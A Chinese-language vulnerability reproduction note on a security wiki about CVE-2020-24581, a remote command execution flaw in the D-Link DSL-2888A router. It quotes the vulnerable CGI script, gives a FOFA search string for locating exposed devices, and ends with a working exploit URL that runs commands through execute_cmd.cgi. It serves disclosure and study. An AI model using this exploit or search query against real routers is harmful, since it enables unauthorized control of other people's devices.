menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right D-Link chevron_right D-Link DSL-28881A 远程命令执行 CVE-2020-24581.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    D-Link DSL-28881A 远程命令执行 CVE-2020-24581.md
    2.15 KB / 2021-04-15 12:15:19
        # D-Link DSL-28881A 远程命令执行 CVE-2020-24581
    
    ## 漏洞描述
    
    D-Link DSL-2888A AU_2.31_V1.1.47ae55之前版本存在安全漏洞,该漏洞源于包含一个execute cmd.cgi特性(不能通过web用户界面访问),该特性允许经过身份验证的用户执行操作系统命令。
    在该版本固件中同时存在着一个不安全认证漏洞(CVE-2020-24580),在登录界面输入任意密码就可以成功访问路由器界面。
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > D-Link DSL-2888A
    
    ## FOFA
    
    > [!NOTE]
    >
    > body="DSL-2888A"
    
    ## 漏洞复现
    
    登录页面输入任意密码建立连接
    
    ![](image/link-1.png)
    
    跳转到 http://xxx.xxx.xxx.xxx/page/login/login.html?error=fail 显示密码错误
    
    漏洞出现在 **execute_cmd.cgi** 文件中
    
    ```sh
    #!/bin/sh
    . /usr/syscfg/api_log.sh
    
    cmd=`echo ${QUERY_STRING} | cut -d = -f 3`
    cmd=`echo ${cmd} | tr "%20" " "`
    
    result=`${cmd}`
    TGP_Log ${TGP_LOG_WARNING} "cmd=${cmd}, result=${result}"
    
    echo "Content-type: text/html"
    echo ""
    echo -n ${result}
    ```
    
    这里取出 **${QUERY_STRING}** 中的第二个参数值,然后去除空格命令执行
    
    在这个过程中并没有过滤,看一下参数从哪来的
    
    文件 **/www/js/ajax.js** 
    
    ```js
    get : function(_dataType)
    	{
    		var _url = this.url;
    		if(_url.indexOf('?') == -1)
    			_url += '?timestamp=' + new Date().getTime();
    		else
    			_url += "&timestamp=" + new Date().getTime();
    		if(this.queryString.length > 0)
    			_url += "&" + this.queryString;
    
    		this.xmlHttp.open("GET", _url, true);
    		/* will make IE11 fail.
    		if(!document.all){
    			if(_dataType == "xml")
    				this.xmlHttp.overrideMimeType("text/xml;charset=utf8");
    			else
    				this.xmlHttp.overrideMimeType("text/html;charset=gb2312");//设定以gb2312编码识别数据  
    		}
    		*/
    		this.xmlHttp.send(null);
    	},
    
    ```
    
    看一下过程
    
    ```shell
    ┌──(root)-[/tmp]
    └─# echo "timestamp=1589333279490&cmd=whoami" |  cut -d = -f 3
    whoami
    ```
    
    这里取第二个参数 **whoami** 然后就没有过滤的执行了 
    
    所以EXP为:
    
    ```
    http://xxx.xxx.xxx.xxx/cgi-bin/execute_cmd.cgi?timestamp=peiqi&cmd=whoami
    ```
    
    ![](image/link-4.png)
    
    links
    file_download